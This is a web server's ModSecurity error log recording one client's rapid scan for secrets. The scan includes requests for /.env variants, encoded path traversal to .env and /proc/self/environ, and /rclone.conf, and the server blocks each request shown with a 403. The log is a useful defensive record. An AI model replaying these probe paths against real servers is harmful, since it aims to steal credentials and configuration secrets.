[Sun Oct 25 16:35:26.877596 2026] [security2:error] [pid 2897472:tid 2897472] [client 34.47.34.62:56270] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_nuxt/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5oDmVLMQvPe13-2XNXaAAAAAY"]
[Sun Oct 25 16:35:26.877677 2026] [security2:error] [pid 2897472:tid 2897472] [client 34.47.34.62:56270] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5oDmVLMQvPe13-2XNXaAAAAAY"]
[Sun Oct 25 16:35:26.877824 2026] [security2:error] [pid 2897472:tid 2897472] [client 34.47.34.62:56270] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5oDmVLMQvPe13-2XNXaAAAAAY"]
[Sun Oct 25 16:35:26.878063 2026] [security2:error] [pid 2897472:tid 2897472] [client 34.47.34.62:56270] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5oDmVLMQvPe13-2XNXaAAAAAY"]
[Sun Oct 25 16:35:26.879281 2026] [security2:error] [pid 2889348:tid 2889348] [client 34.47.34.62:56338] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at5oDuawu2hdqh-E8Ti3VgAAAD8"]
[Sun Oct 25 16:35:26.879621 2026] [security2:error] [pid 2889348:tid 2889348] [client 34.47.34.62:56338] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at5oDuawu2hdqh-E8Ti3VgAAAD8"]
[Sun Oct 25 16:35:26.879836 2026] [security2:error] [pid 2889348:tid 2889348] [client 34.47.34.62:56338] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at5oDuawu2hdqh-E8Ti3VgAAAD8"]
[Sun Oct 25 16:35:26.880582 2026] [core:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56264] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/.env)
[Sun Oct 25 16:35:26.881963 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56254] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5oDrgKC8DPM1idVOQumwAAAA8"]
[Sun Oct 25 16:35:26.882357 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56254] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5oDrgKC8DPM1idVOQumwAAAA8"]
[Sun Oct 25 16:35:26.882584 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56254] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5oDrgKC8DPM1idVOQumwAAAA8"]
[Sun Oct 25 16:35:26.882667 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56254] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5oDrgKC8DPM1idVOQumwAAAA8"]
[Sun Oct 25 16:35:26.882685 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56254] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5oDrgKC8DPM1idVOQumwAAAA8"]
[Sun Oct 25 16:35:26.894906 2026] [core:error] [pid 2893743:tid 2893743] [client 34.47.34.62:56292] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/proc/self/environ)
[Sun Oct 25 16:35:26.896316 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at5oDsQLj3BHFe0xVVDO6wAAAAU"]
[Sun Oct 25 16:35:26.896800 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at5oDsQLj3BHFe0xVVDO6wAAAAU"]
[Sun Oct 25 16:35:26.897124 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at5oDsQLj3BHFe0xVVDO6wAAAAU"]
[Sun Oct 25 16:35:27.225845 2026] [security2:error] [pid 2897464:tid 2897464] [client 34.47.34.62:56324] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "recursos2.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at5oDxP9LBTwM7uyBGcGJQAAAAM"]
[Sun Oct 25 16:35:27.226201 2026] [security2:error] [pid 2897464:tid 2897464] [client 34.47.34.62:56324] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at5oDxP9LBTwM7uyBGcGJQAAAAM"]
[Sun Oct 25 16:35:27.226447 2026] [security2:error] [pid 2897464:tid 2897464] [client 34.47.34.62:56324] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at5oDxP9LBTwM7uyBGcGJQAAAAM"]
[Sun Oct 25 16:35:27.227587 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56356] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at5oD2FV96rJYXEkIA1oLgAAABk"]
[Sun Oct 25 16:35:27.227901 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56356] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at5oD2FV96rJYXEkIA1oLgAAABk"]
[Sun Oct 25 16:35:27.228106 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56356] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at5oD2FV96rJYXEkIA1oLgAAABk"]
[Sun Oct 25 16:35:27.232626 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56254] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "recursos2.sherwinpinturas.com"] [uri "/_image"] [unique_id "at5oD7gKC8DPM1idVOQunAAAAA8"]
[Sun Oct 25 16:35:27.232701 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56254] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "recursos2.sherwinpinturas.com"] [uri "/_image"] [unique_id "at5oD7gKC8DPM1idVOQunAAAAA8"]
[Sun Oct 25 16:35:27.232733 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56254] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "recursos2.sherwinpinturas.com"] [uri "/_image"] [unique_id "at5oD7gKC8DPM1idVOQunAAAAA8"]
[Sun Oct 25 16:35:27.233135 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56254] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/_image"] [unique_id "at5oD7gKC8DPM1idVOQunAAAAA8"]
[Sun Oct 25 16:35:27.233351 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56254] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/_image"] [unique_id "at5oD7gKC8DPM1idVOQunAAAAA8"]
[Sun Oct 25 16:35:27.240176 2026] [security2:error] [pid 2889348:tid 2889348] [client 34.47.34.62:56338] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "recursos2.sherwinpinturas.com"] [uri "/api/data/../../.env"] [unique_id "at5oD-awu2hdqh-E8Ti3VwAAAD8"]
[Sun Oct 25 16:35:27.240203 2026] [security2:error] [pid 2889348:tid 2889348] [client 34.47.34.62:56338] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "recursos2.sherwinpinturas.com"] [uri "/api/data/../../.env"] [unique_id "at5oD-awu2hdqh-E8Ti3VwAAAD8"]
[Sun Oct 25 16:35:27.242733 2026] [security2:error] [pid 2897464:tid 2897464] [client 34.47.34.62:56324] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /client/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at5oDxP9LBTwM7uyBGcGJgAAAAM"]
[Sun Oct 25 16:35:27.242870 2026] [security2:error] [pid 2897464:tid 2897464] [client 34.47.34.62:56324] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at5oDxP9LBTwM7uyBGcGJgAAAAM"]
[Sun Oct 25 16:35:27.243071 2026] [security2:error] [pid 2897464:tid 2897464] [client 34.47.34.62:56324] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at5oDxP9LBTwM7uyBGcGJgAAAAM"]
[Sun Oct 25 16:35:27.249748 2026] [security2:error] [pid 2897654:tid 2897654] [client 34.47.34.62:56306] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /packages/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at5oDxBRkwwnkVogupUKJQAAABE"]
[Sun Oct 25 16:35:27.249913 2026] [security2:error] [pid 2897654:tid 2897654] [client 34.47.34.62:56306] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at5oDxBRkwwnkVogupUKJQAAABE"]
[Sun Oct 25 16:35:27.250153 2026] [security2:error] [pid 2897654:tid 2897654] [client 34.47.34.62:56306] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at5oDxBRkwwnkVogupUKJQAAABE"]
[Sun Oct 25 16:35:27.256661 2026] [security2:error] [pid 2897200:tid 2897200] [client 34.47.34.62:56284] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at5oD_3ebQuInVpw1e8OIgAAAAI"]
[Sun Oct 25 16:35:27.256932 2026] [security2:error] [pid 2897200:tid 2897200] [client 34.47.34.62:56284] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at5oD_3ebQuInVpw1e8OIgAAAAI"]
[Sun Oct 25 16:35:27.257249 2026] [security2:error] [pid 2897200:tid 2897200] [client 34.47.34.62:56284] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at5oD_3ebQuInVpw1e8OIgAAAAI"]
[Sun Oct 25 16:35:27.258281 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.47.34.62:56244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /workspace/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at5oD3WAJkvYyuEsFoLISgAAABc"]
